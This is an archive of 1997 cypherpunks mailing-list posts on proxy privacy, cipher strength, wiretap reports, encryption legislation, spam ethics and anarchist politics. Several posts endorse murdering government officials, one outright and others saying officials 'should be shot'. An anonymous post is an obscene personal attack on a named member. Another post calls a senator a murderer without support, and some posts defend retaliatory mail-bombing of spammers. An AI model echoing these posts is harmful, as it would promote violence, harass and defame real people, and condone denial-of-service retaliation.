> SWrrlsm1DI0rEFKIi1bSbJ4tkDMpdQQOhtwYRDLUXHH/JuWh0B19wZZ0yYi6WwBy
> 3BH+23/iba0=
> =QUcl
> -----END PGP SIGNATURE-----
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Wed, 14 May 1997 10:25:44 +0800
To: cypherpunks mailing list <cypherpunks@algebra.com>
Subject: Spoofing Corporate Proxy Servers: poor man's SSL
Message-ID: <3.0.1.32.19970513221218.00a5bcf0@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


________________________ R i c k   O s b o r n e ________________________
My company, as well as many of yours I'm sure, uses a proxy server to give
its users access to the internet beyond its firewall.  There are strict
policies concerning what is and isn't viewable or retreivable according to
corporate guidelines.  Unfortunately, the people making these policies
aren't always as open and "fair" as they could be.  Not to mention the fact
that each and every request is logged and achived for eternity (or at least
as long as the CDs and/or tapes last).

Some of you may remember my post from ~6 months ago concerning my company's
view on the use of PGP (they didn't like it and were very frank about it).
My pursuit of crypto-related information is viewed very dimly, even while
at the same time I am told to implement certain levels of crypto in some of
the applications I develop.  The constant barrage of "why did you visit
this page?", or "what does this application you downloaded do?" is not only
irritating but counter-productive.  This got me thinking: disregarding
outside proxy schemes (such as Anonymizer), we can't really keep the proxy
server from knowing the site we are connecting to.  We can, however, hide
the page we are retrieving.

Suppose each web server had a public/private key pair, sort of like SSL.
Instead of requesting a page using the normal "GET /mypage.html HTTP/1.1"
method, the user could encrypt the URL with the server's public key (along
with appropriate headers and a random string to prevent known-plaintext
attacks) and pass that to a CGI or even a dedicated server on another port.
 The server then decrypts the request, which may or may not have included a
public key to encrypt the response, grabs the appropriate page, and sends
it back (possibly encrypted).  Other than the CGI (or the port number of
the dedicated server), the proxy server has no idea what document has been
retrieved.  Essentially we have made a remailer out of an HTTPd,
tangentally related to Adam's Eternity server, sort of like a poor-man's SSL.

For extensibility concerns, a loose protocol would have to be developed
such that different encryption schemes could be plugged in, but even a Perl
POST CGI using PGP would be trivial.  This would not only solve security
problems (varying keysizes would set the security of the data), but could
remove the corporate presence from the HTTPS market (who wants to pay
$150/key, when you can generate 2048-bit keys with PGP?).  While this does
not stop the proxy server admins from simply blocking the entire site, it
does at least offer anonymity until they figure it out.  (I successfully
used the Anonymizer for about 2 weeks before it was blocked.)
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
(A)bort, (R)etry, (T)ake down entire network?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 14 May 1997 13:32:56 +0800
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Disinformation in L.A.
Message-ID: <3.0.32.19970513220804.006f09d4@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:19 PM 5/11/97 -0400, Declan McCullagh wrote:
>You might remember I wrote recently about the DoJ report released this
>month that calls for new legislation to ban bomb-making info online. Now
>Feinstein's office tells me she's going to introduce a bill. 

Feinswine never saw a gun/mind control bill she didn't like. She is an
ultra fascist that rose to power thanks to the yellow dog Bay Area voters.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 14 May 1997 12:21:44 +0800
To: cypherpunks@toad.com
Subject: Re: War & InfoWar
In-Reply-To: <199705131735.NAA11422@dhp.com>
Message-ID: <y70N7D35w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


lucifer@dhp.com (lucifer Anonymous Remailer) writes:
> On Sun, 11 May 1997, Paul Bradley wrote:
>
> >> >   How many government employees quit in outrage, stating that
> > > they would not take part in such atrocities? How many took a
> > > vocal moral stand against their superiors, or exposed the
> > > government duplicity involved in the police action?
> >
> > They are all whores, so I suggest we fuck them like whores.
> >
>
> No thanks, you have to pay for whores.  Let's not give them any more
> business.  Besides, who knows what VD government whores carry. AP is
> better. FP (Fucking Politicians) is what they do best to each other.
>
> WhoreMonger.

Unlike government employee parasites, whores do something for a living.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 14 May 1997 14:20:37 +0800
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: The War is Underway (fwd)
Message-ID: <3.0.32.19970513223226.0074e2bc@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:22 PM 5/11/97 -0400, Black Unicorn wrote:
>As I recall, 3des ( DESk1 -> DESk2^-1 -> DESk3 ) has an effective
>keylength of 112 bits.  Less than IDEA.  Schneier discusses this.

Unfortunately, Schneier doesn't do a very good job at discussing the
strength of 3DES. This probably is to be expected, since there is no fixed
effective keylength of 3DES and a more detailed discussion would likely
exceed the format of Applied Cryptography. The work factor of breaking 3DES
depends on the number of known plaintexts. At best, the effective keylength
is 112 bits. At worst (this is an unlikely, perhaps unrealistic worst) the
effective keylength is ~90 bits. Contrast this with DESX, which has been
proven to be twice as hard as DES, therefore having an effective keylength
of 112 bits.

>It costs little today to develop a cipher with larger keyspace.  (DES with
>independent subkeys already exists and has a basic keyspace of 768 bits.
>A meet in the middle attack reduces keyspace to 2^384.  Schneier discusses
>the cipher briefly).  If users are willing to deal with large keys (I
>certainly am) then software designers are restraining a more secure
>implementation.

It costs lots to develop a cipher with a larger keyspace that has a known,
or reasonably assumed, work factor of higher than 112 bits. Again, it takes
years to cryptanalyze a new cipher.

It isn't software designers that are restraining more secure
implementations. The software designers don't have any better algorithms to
work with because the theorists haven't agreed on anything better yet.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 14 May 1997 11:10:10 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: 96 Wiretap Report
Message-ID: <1.5.4.32.19970514024518.00816d50@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


William Geiger wrote:

>I noticed in the summary report that e-mail intercepts were used. Is there
>more detailed information on this? I would be interested to know how
>involved the govenment is becoming involved in this area. Of great interest
>would be the location and means used to do such taps.

We could find no listing of E-mail intercepts in the
tables, so it's not clear what the summary was
referring to beyond stating that "electronic mail"
was included under "electronic intercepts" along
with digital display pagers, voice pagers, and
cellular phones.

The tables list intercept information under two categories:
Type and Place.

Type:

1. Phone Wire
2. Micro-Eavesdrop
3. Electronic
4. Not Reported

Place:

1. Single-Family Dwelling
2. Apartment
3. Multiple Dwelling
4. Business
5. Roving
6. Other

"Other" is further listed as:

Automobile/Van
Briefcase
Cellular/Mobile Phone
Cemetary
Closed Circuit TV
Container
Digital Display Pager
Facsimile
Garage/Parking Lot
Hospital
Hotel Room/Motel Room
Jail
Mobile Home/Trailer
Package/Cargo
Pay Phone
Pen Register
Prison
Social Club
Storage
Telefax
Courthouse
Street
Computer

We found only a single instance where the "place" was
a computer.

BTW, the 193-page printed report is available free from
the Administrative Office of the U.S. Courts. 

Telephone: 202-273-2156.

Web site: http://www.uscourts.gov/

Folks there were quite helpful, so it's possible that you
might get E-mail intercept details from them by
requesting it. If you do, let us know, quick!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 14 May 1997 14:13:26 +0800
To: cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials in or Near Government Buildings
In-Reply-To: <199705140456.VAA05054@mail.pacifier.com>
Message-ID: <19970513225047.26856@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, May 13, 1997 at 09:52:44PM -0800, Jim Bell wrote:
> At 19:34 5/13/97 -0700, Kent Crispin wrote:
> >Your estimate seems high to me.  But it is meaningless, in any case.
> 
> This isn't the first time you've called information that is detrimental to
> your position words equivalent to "meaningless."  I suppose that's easier
> than disproving the other person's claim, or proving your own.  

Ho hum.

> >First of all, it neglects to consider that governments may have 
> >prevented more murders than they caused.  This is unknowable, since 
> >we don't have any worthwhile control cases.
> 
> Your position is laughable.  Statistics on murder rates are knowable for
> many countries.  Studying the murder rate for those countries will at least
> provide a range against which deaths due to government-caused wars can be
> compared.

Only meaningful if you can compare with murder rates in a human 
society without a government...but of course, in fact the only time 
this happens is when society breaks down entirely.

And I am fascinated with the way you make the "government" into a 
bogeyman that is responsible for all the evils that beset the human 
race.  No consideration of other factors -- racial and tribal hatred, 
religious conflicts, class conflicts, etc etc.  A wonderful 
simplification. 

> >Second, such cases of civil breakdown aside, all humans, for now and
> >for the conceivable future, live within the context of some kind of
> >government.  The option of non-government simply doesn't exist. 
> 
> That's precisely what the governments and their agents want us to believe.
> Minarchism is certainly possible,

Oh boy.  A wonderful dream, minarchism, that everybody *must* secretly
want, except that some evil force is preventing them from getting to
it, and you, Jim Bell, are the savior that is going to bring it 
about.  A classic messiah complex.

[...]

> >Third, murders caused by governments can't really be separated from
> >murders caused by individuals.  That is, in many cases deciding
> >whether a murder is a personal action or a government action is
> >impossible. 
> 
> "Aye vas joost vollowink orderz!"
> 
> Sorry, we're still laughing at you.

When the LA cops beat up Rodney King, do you suppose they got any 
personal satisfaction out of it?  Or were they just cold government 
functionaries, doing their job?

> >Fourth, it's fashionable in these circles to paint all governments
> >with the same brush, but in fact, some are much better than others.  
> >But it only takes one bad one to start a war.  Furthermore, human 
> >motivations are complex and irrational, so wars are started for 
> >essentially insane reasons.  This is a human problem, not a problem 
> >of government.
> 
> No, quite the contrary.  Considered from the perspective of the cumulative
> interests of society, wars are not beneficial or "profitable."  Only from
> the very limited viewpoint of the military-industrial complex and government
> employees does war appear to be a net benefit, and that's true only because
> the interests of most of the population (on whom the effect of war is a net
> negative) is ignored.  The reason war occurs is that the decision to have a
> war is made not by society as a whole, but by that tiny fraction which profits.

So of course ideology could never start a war -- Arabs and Jews *only*
fight because of their governments, the American revolutionary war 
was *only* fought because the state governments wanted more power, 
the Tutsi's and the Hutus only fought because their governments 
forced them.  A wonderful simplification, blaming everything on 
"government". 

> Put the decision to have the war back into the hands of the population as a
> whole, and war will decrease.  Give the public the option to make war upon
> the government parasites infesting their own land, and war will end 
> forever.

A wonderful dream, truly.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 14 May 1997 14:21:34 +0800
To: jamesd@echeque.com
Subject: Re: unsafe SAFE:
In-Reply-To: <199705140419.VAA01203@proxy3.ba.best.com>
Message-ID: <v0300780aaf9f103e46dd@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:15 PM -0800 5/13/97, Declan McCullagh wrote:
>I believe Courtney got it wrong. Isn't it Pro-CODE that has the Info Board
>provision? See:
>
>  SEC. 6. INFORMATION SECURITY BOARD.
>
>   (a) INFORMATION SECURITY BOARD TO BE ESTABLISHED- The Secretary shall
>       establish an Information Security Board comprised of
>       representatives of agencies within the Federal Government
>       responsible for or involved in the formulation of information
>       security policy, including export controls on products with
>       information security features (including encryption). The Board
>       shall meet at such times and in such places as the Secretary may
>       prescribe, but not less frequently than quarterly. The Federal
>       Advisory Committee Act (5 U.S.C. App.) does not apply to the Board
>       or to meetings held by the Board under subsection (d).

That was what I recollected, vaguely.

I haven't spent near as much time analyzing Pro-CODE as I did a couple of
weeks ago with SAFE. People tell me Pro-CODE is not nearly as bad, but I
remain skeptical. And certainly James Donald is basically right that _any_
provision for a "review board" is a disaster.

Review boards mean bureaucracy, entrenched interests, and a wedge for
denial of licensens.

As to Conrad Burns himself, he seemd jovial and "conservative" at last
summer's Stanford mini-conference. Conservative in the sense I like.

But how will a Montana Republican like him respond when ultra-strong crypto
is used to, say, import child porn undetectably from Denmark, where there
standards of what is child porn differ from those of Montana? This is where
the "Review Board" will get involved, and so on and so forth.

No politician I know of will ever be a friend of crypto anarchy.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 14 May 1997 12:07:49 +0800
To: whgiii@amaranth.com (William H. Geiger III)
Subject: Re: KKK derails crypto bill, report from House Judiciary... (fwd)
In-Reply-To: <199705140332.WAA12963@mailhub.amaranth.com>
Message-ID: <199705140358.WAA19287@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


William H. Geiger III wrote:
>    Jim Choate <ravage@EINSTEIN.ssz.com> said:
> >As to a little modern social commentary. Ride the city bus in your town
> >for 1 month each day. During that time keep track of where people sit.
> >Would you like to explain why the majority of blacks still sit in the back
> >of the bus?
> 
> Well since I haven't rode the bus in years I really can't confirm or deny
> this. I don't recall this when I rode the L and buses in Chicago but then

I actually did ride buses some time ago.

Haven't noticed anything like what Prof. Choate suggests.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Wed, 14 May 1997 14:31:19 +0800
To: osborne@gateway.grumman.com>
Subject: Spam IS Free Speech
Message-ID: <199705140604.XAA01787@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


God, Last summer we had the whole "Spam as Free Speech Debate".  Now 
Rick Osborne drags it up again.  You can not retaliate against free 
speech, Rick.  That's a bad thing, plain and simple, black and white. 
Some of your metaphors are kinda harsh, and a bit cartoonish.

On or About 12 May 97 at 13:43, Rick Osborne wrote:

> I said:
> >I appreciate the inference as to my (lack of) intelligence.  ;)
> 
> To which Vulis wrote:
> >Your lack of ethics, rather.  You choose to work for someone who
> >chooses to use inadequate Microsoft software, and you brandish
> >these choices as an excuse to interfere with somene's free speech.
> 
> I'm not brandishing anything as an excuse, simply stating this: I
> should not have to walk through the street (get my email)

Well, you are doing OK so far.

> wearing 4
> inches of kevlar (using spam filters),

It depends on what street you are walking, here.  Kevelar *may* be in 
order.  What's your problem with your 'delete' key?  Broken?

> *just in case* someone
> decides to whip out a submachine gun (spam). 

Now, here's where you start to go really crazy.  Spam as a weapon?  
Please, Rick get ahold of yourself.  It's just e-mail.  Nothing scary 
or harmful, right?  Right?

> It should not me my
> job to defend myself from psychos, rather people should have to ask
> my permission to infringe upon my space and time.

You got a website?  You post to usenet?  I know you post to this 
list.  By now, everyone knows that any of those things are as good as 
giving away your e-mail address.  Maybe that's unethical, but it's a 
fact.  And if you do have a website, it's an open invitation for me 
to send you advertisements, just like the yellow pages.
 
> How am I taking away from Sanford's right to free speech by just
> spamming him back? 

Free speech is a right.  You have the right to make some snotty 
reply, but no right to intentionally harm.  You are doing wrong if 
you try to harm someone who is exercising their right to free 
speech.  Rick, what if someone decided they did not like an opinion 
you expressed on this list and did the same thing to you?  See, it's 
all the same thing.  You, nor anyone else, has a right to lash out at 
someone for something they say or some ad they send you.

> I sgree with this weekend's discussion on arp
> attacks: technically, they should be no different than spam attacks.
>  WHy then should he (or whoever) have the right to spam me without
> fear of retribution?

Because FREE SPEECH IS A RIGHT WE HAVE!  Why all this talk of retribution?
No one has a right to retaliate, get it?  First Amendment?  I didn't 
read in there the right to get back at some poor advertisers, did 
you?
  
> Actually, and this is just MHO, I don't really care if the 100 or so
> spams/arps I send them are but a mosquito's bite to them. 

Free Speech : Good      Mail Bombs : Bad

> It makes
> *me* feel better. 

Ahhh, at last the point.  Are you a self centred ass, who's personal 
feelings are more important that the Constitution?  Feel better?  How 
about when those black suited ninjas break into your house to steal 
your rights?  That's my metaphor of what you are doing to people who 
spam you...

> I'm not in this necessarily to shut anyone down
> (though it would be a nice side-effect), just to annoy them as much
> as they annoy me. Like I said, I'm more of the passive-agressive
> type, so I'm not here to wage a war, just a few small skirmishes.

It's talk like this that those good old boys in D.C. love.  Bad 
internet, bad.

Um, there is no war against spammers.  Did you know that?  You could 
be doing so much more with your time.  Please reconsider.  Thank you.

No war, no battles, no skirmishes, no need for "Anti-Spam Laws".  
Just be nice, and everything will work out for the best.  I'm more 
worried about this anti bomb making recipe law that the government is 
yammering about now. 

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 14 May 1997 14:25:02 +0800
To: cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <3.0.1.32.19970512171524.028df2c8@panix.com>
Message-ID: <19970513230543.60364@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, May 13, 1997 at 08:21:13PM -0800, Tim May wrote:
> At 6:34 PM -0800 5/13/97, Kent Crispin wrote:
> 
> >First of all, it neglects to consider that governments may have
> >prevented more murders than they caused.  This is unknowable, since
> >we don't have any worthwhile control cases.  (I suppose we
> >might examine a state of anarchic chaos (eg Rawanda) and compare the
> >percentage of murders...but such cases are symptoms of other human
> >ills, and cannot be used as a meaningful comparison, I believe.)
> 
> Rwanda (or Ruwanda, or...) is a _very_ poor example to pick, as this was
> not any kind of anarchy such as any of us have ever advocated. Rather,
> Rwanda was a near-textbook example of one tribal faction (Hutus or Tutsis)
> coming to power and inititiating a pogrom against the rival faction (Tutsis
> or Hutus).
> 
> Calling this an "anarchy" is comparable to calling the pogrom by the Third
> Reich against Jews, gypsies, cripples, and others an example of anarchy.

Nonsense.

"anarchy n. the absence of government or control, resulting in 
lawlessness. 2. disorder, confusion" -- Oxford American Dictionary

Which part of that would you say didn't apply to Rwanda?  

In fact, the correlation between anarchy and war is very strong, for
obvious reasons.  Perhaps that is why most intelligent people don't
consider anarchy a desirable state of affairs. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Wed, 14 May 1997 15:05:21 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Disinformation in L.A.
Message-ID: <199705140626.XAA02266@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 13 May 97 at 22:14, Lucky Green wrote:

> >month that calls for new legislation to ban bomb-making info
> >online. Now Feinstein's office tells me she's going to introduce a
> >bill. 
> 
> Feinswine never saw a gun/mind control bill she didn't like. She is
> an ultra fascist that rose to power thanks to the yellow dog Bay
> Area voters.

No, she rose to power over the murdered corpse of her boss.  Was she 
involved?  I lived in San Francisco for years and NEVER voted for 
her, it's hard to vote for a murderer

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 14 May 1997 15:06:55 +0800
To: cypherpunks@toad.com
Subject: Kent's government spin...
Message-ID: <199705140627.XAA09650@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin, assuming that others on the list are not capable
of understanding what someone posts unless he explains it, wrote:

> And Tim did *explictly advocate* the assasination of government
> officials:
> "Chiles and his co-conspirators should be shot for high crimes against
> the Constitution.  After Clinton, Freeh, Kerrey, and the other
> traitors."

  The punishment for high crimes against the Constitution is 
execution, which differs from assassination.
  It seems to me that those most worried about government criminals
being punished for their crimes are those participating in those
activities while trying to justify or downplay them.

  Kent, why don't you start a thread explaining how important it
is for government to feel free to imprison grandmothers for
plugging other people's parking meters without fearing retribution
from those who don't wish for their government to place them in a
cage like an animal for plugging parking meters? 
  (You could start by explaining that we need to protect our prison-
based economny, in the interests of a strong GNP.)
  I think this would be a good project to display to everyone the
type of mentality that you represent.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 14 May 1997 12:50:16 +0800
To: cypherpunks@toad.com
Subject: Worthless List
Message-ID: <199705140405.AAA32067@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


The Spectre wrote:
> In response to this childish, no.cajones.com message, I have removed all
> previous filters and added one, simpler filter on incoming mail.  Delete
> when recieved from nobody@huge.cajones.com or lucifer@dhp.com.
> 
> I suggest you all to the same.. it may actually serve to make this list
> worthwhile...

  Yet another dweeb who considers the list not to be worthwhile,
but who wants to tell everyone else what to read and what not to
read, nonetheless.
  Is there going to be another round of missives about how the list's
ASCII art is the Big Enemy of cypherpunks everywhere? I'm have much
more concern about a small pimple I just found on my butt. Perhaps
I should start a thread to discuss the implications of this for
privacy and freedom worldwide.

PimpleMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 14 May 1997 12:28:51 +0800
To: cypherpunks@toad.com
Subject: Re: Would the anonymous person(s) please...
Message-ID: <199705140414.AAA32277@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


bennett_t1@popmail.firn.edu wrote:
> 
> Would all those anonymous remailing people with a flame tendency, please
> flame the person of your attacks, and don't send this bullshit to the
> list?  Thanks...

  No. (but thanks for asking so politely(





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 14 May 1997 16:21:02 +0800
To: cypherpunks@toad.com
Subject: Proxy Cryptography draft available
Message-ID: <3.0.1.32.19970514002854.0067f568@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Matt Blaze posted the following to cryptography/coderpunks.
Looks like potentially cool stuff. I had to use 
ftp://research.att.com/dist/mab/proxy.ps
as a URL, but that may just have been Netcom DNS weirdnesses.

>Subject: Proxy Cryptography draft available
>Date: Tue, 13 May 1997 18:37:10 -0400
>From: Matt Blaze <mab@research.att.com>
>Sender: owner-cryptography@c2.net
>
>I've put a draft of a new paper in my ftp directory.  Comments and
>discussion welcome.  In particular, I'm curious if anyone can find
>any real practical application for symmetric proxy functions.
>
>ftp://ftp.research.att.com/dist/mab/proxy.ps
>
>Proxy Cryptography
>
>Matt Blaze
>Martin Strauss
>
>AT&T Labs -- Research
>{mab,mstrauss}@research.att.com
>
>Abstract:
>
>This paper introduces {\em proxy cryptography,} in which a {\em
>proxy function,} in conjunction with a public {\em proxy key,}
>converts ciphertext (messages in a public key encryption scheme or
>signatures in a digital signature scheme) for one key ($k_1$) into
>ciphertext for another ($k_2$).  Proxy keys, once generated, may
>be made public and proxy functions applied in untrusted environments.
>Various kinds of proxy functions might exist; {\em symmetric} proxy
>functions assume that the holder of $k_2$ unconditionally trusts
>the holder of $k_1$, while {\em asymmetric} proxy functions do not.
>It is not clear whether proxy functions exist for any previous
>public-key cryptosystems.  Several new public-key cryptosystems
>with symmetric proxy functions are described: an encryption scheme,
>which is at least as secure as Diffie-Hellman, an identification
>scheme, which is at least as secure as the discrete log, and a
>signature scheme derived from the identification scheme via a hash
>function.
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 14 May 1997 16:31:27 +0800
To: cypherpunks@toad.com
Subject: Re: Disinformation in L.A.
Message-ID: <199705140807.BAA14329@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


  Didn't her boss's murderer walk on the charge by using the defence
that he ate too many Twinkies?
  No political intrigue here...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 14 May 1997 13:49:33 +0800
To: jamesd@echeque.com
Subject: Re: unsafe SAFE:
In-Reply-To: <199705140419.VAA01203@proxy3.ba.best.com>
Message-ID: <Pine.GSO.3.95.970514011229.3391B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


I believe Courtney got it wrong. Isn't it Pro-CODE that has the Info Board
provision? See:

  SEC. 6. INFORMATION SECURITY BOARD.
   
   (a) INFORMATION SECURITY BOARD TO BE ESTABLISHED- The Secretary shall
       establish an Information Security Board comprised of
       representatives of agencies within the Federal Government
       responsible for or involved in the formulation of information
       security policy, including export controls on products with
       information security features (including encryption). The Board
       shall meet at such times and in such places as the Secretary may
       prescribe, but not less frequently than quarterly. The Federal
       Advisory Committee Act (5 U.S.C. App.) does not apply to the Board
       or to meetings held by the Board under subsection (d).

-Declan


On Tue, 13 May 1997 jamesd@echeque.com wrote:

> according to http://www.news.com/News/Item/0,4,10604,00.html
> 
>                 Kerrey's effort has one thing in common with the
>                 SAFE Act: It calls for the creation of an Information
>                 Security Board. The board proposal caused some
>                 privacy watchdogs to pull their endorsements of
>                 SAFE because it wouldn't have to comply with
>                 federal open-meeting act. 
> 
> 
> Since a common hand has presumably been at work in both bills,
> this looks like good cop / bad cop to me.
> 
> The good cop says, "I am your friend"
> 
> He is not your friend.
> 
> Create a federal board, and it will exercise power.
> 
>  ---------------------------------------------------------------------
>               				|  
> We have the right to defend ourselves	|   http://www.jim.com/jamesd/
> and our property, because of the kind	|  
> of animals that we are. True law	|   James A. Donald
> derives from this right, not from the	|  
> arbitrary power of the state.		|   jamesd@echeque.com
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 14 May 1997 16:13:09 +0800
To: cypherpunks@toad.com
Subject: Re: Spam IS Free Speech
Message-ID: <199705140746.DAA29236@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Ross Wright wrote:
> 
> You can not retaliate against free
> speech, Rick.  That's a bad thing, plain and simple, black and white.

  Crock of shit, Ross.
  It costs me money to download unwanted spam. What's this "free"
bullshit?

> You got a website?  You post to usenet?  I know you post to this
> list.  By now, everyone knows that any of those things are as good as
> giving away your e-mail address.  Maybe that's unethical, but it's a
> fact.  And if you do have a website, it's an open invitation for me
> to send you advertisements, just like the yellow pages.

  And if a woman wears short skirts, what kind of open invitation
is that? Are banks who advertise that they handle money announcing
an open invitation to the greedy?
 
> Free speech is a right.  You have the right to make some snotty
> reply, but no right to intentionally harm. 

  Spammers neither know nor care if they are causing harm to the
finances or mental well-being of others.
  If a spammer declares their right to cause me financial loss and
denial of service for the time it takes me to rid myself of their
unwanted intrusion then they can have no expectation that I, in 
turn, will not declare what level of financial loss and denial of
service I will cause them.

> You, nor anyone else, has a right to lash out at
> someone for something they say or some ad they send you.

  So spammers have no right to lash out at my sending them a
gigabyte of email regarding the evils of spamming. 

> > It makes
> > *me* feel better.
> 
> Ahhh, at last the point.  Are you a self centred ass, who's personal
> feelings are more important that the Constitution? 

  Ross has failed to explain just how the Constitution promotes the
spammer's right to intrude upon the spammer's life and cause them
financial loss while denying that right to the spammee.
  Ross' personal feelings seem to be important enough to him to cast
slurs on those who disagree with his black-and-white opinions regarding
his right to spam others without them having a corresponding right
to reply in kind.

  Gander. Goose.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 14 May 1997 20:04:14 +0800
To: cypherpunks@toad.com
Subject: Re: Quadratic residues
Message-ID: <199705141118.EAA21038@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May's mother attempted to pro-choice the unwanted 
little bastard by fishing with a coat hanger in her giant 
cunt, but failed miserably to pull the rabbit and 
succeeded only in scraping out the contents of little 
Timmy's fetal cranium (not much to begin with).

       (_) _____ (_)
          /O   O\   Tim May
         !   I   !
         ! \___/ !
          \_____/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 14 May 1997 23:43:20 +0800
To: cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials in or Near Government
In-Reply-To: <199705140045.RAA09717@netcom11.netcom.com>
Message-ID: <scXo7D38w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Vladimir Z. Nuri" <vznuri@netcom.com> writes:
> therefore, it is ok for civilians to murder government officials,
Yes.
> CED (cypherpunk QED) endorsed by TCM, Bell, etc. ad nauseum
And myself.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
